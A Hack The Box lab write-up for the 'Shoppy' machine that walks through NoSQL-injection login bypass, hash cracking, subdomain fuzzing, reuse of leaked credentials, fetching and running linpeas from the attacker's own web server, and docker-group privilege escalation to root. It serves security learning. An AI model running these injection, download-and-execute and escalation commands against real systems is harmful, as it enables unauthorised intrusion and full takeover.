Hackthebox - Shoppy
Last updated
Last updated
Linux
According to nmap we should change our hosts fil /etc/hosts and add this line 10.10.11.180 shoppy.htb
Let's try a bigger wordlist
We can try nosql injection. This Video of Farah Hawa explains it very well
Using the video I tried a few payload and got an interesting output with this one
I did forget the quotes for the $gt. Let's try this
We get the same error
Let's have a look at NoSQLInjection payloads from payloadAllTheThings
These give a 504
We do not get anything here let's try this || 1==1 which looks like the classic sql injection translated in noSQL. You cand find it in this section of payloadAllTheThings github
So let's change our request back in x-www-form-urlencoded. I tried with the username jaeger and got nothing but with admin it worked.
Here is the working request
We can see that we get a cookie and are redirected
Once logged in we get this page
We have function search user.
If we look for admin we get the possibility to "Download Export" which gives json file.
Here is the json we get when downloading the export
We have a hash for the admin password 23c6877d9e2b564ef8b32c3a23de27b2
Let's try to crack it. Before using hashcat I like to check on
crackstation. It does not find it so let's try to crack it
Just for sanitiy I checked it with hash-identifier it is MD5
No luck with hashcat either. Let's explore the website again. Let's try again with nosqlinjection on the search field. We might get more users this way.
Ok I am trying the exact same paylaod
Let's try to crack josh's password now. And it works with crackstation! remembermethisway
The password does not work on ssh
Maybe it's time to enumerate subdomain. I always forget to do it at the begining but here it is worth trying because this password must work somewhere else.
I tried the big list in web content of sec list but had no luck the one that worked is the first in the DNS folder wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u 'http://shoppy.htb/' -H "HOST: FUZZ.shoppy.htb" --hc 301
We have something here. Let's add it in our /etc/hosts file 10.10.11.180 shoppy.htb mattermost.shoppy.htb And when we browse to http://mattermost.shoppy.htb/ we end up here.
Now let's try to login with our cracked password josh:remembermethisway
Here are more info about mattermost
It is a platform with workspaces and chat for work. The version is 7.1.2 as we can see in the about pop up here
If we browse we can find some sensitive information in the "Deploy Machine" channel
Let's try to connect with ssh with these jaeger:Sh0ppyBest@pp!. It works
First let's sudo -l
Let's have a look at this password-manager thing. There was a hint about it also in mattermost.
If we launch it it will ask for a password sudo -u deploy /home/deploy/password-manager
we need to lookup for a password in the files we can read.
Let's make a strings on the binary strings /home/deploy/password-manager. The following lines are interesting
Maybe if we use cat we will actually see a password cat /home/deploy/password-manager
Let's try Sample as a password. It works. We get another password Deploying@pp! the one for the user deploy
We can now ssh as deploy
sudo -l does not help here let's get linpeas. Here are the spec of our target Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 GNU/Linux
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
python3 -m http.server 80
And in our target wget http://10.10.14.4/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
So we need to analyze further a few things
It mentions docker as a 95% pe vector so def worth having a look. The deploy user is a member of the docker group. Also I remember of an example that was using this. Let's check gtfobins
We can run docker run -v /:/mnt --rm -it alpine chroot /mnt sh and it works! We are now root and can grab the last flag.
If we then browse to http://shoppy.htb/ we get this page
We have a login page
We get an error that reveals a username jaeger
It works we get one more user
And it works
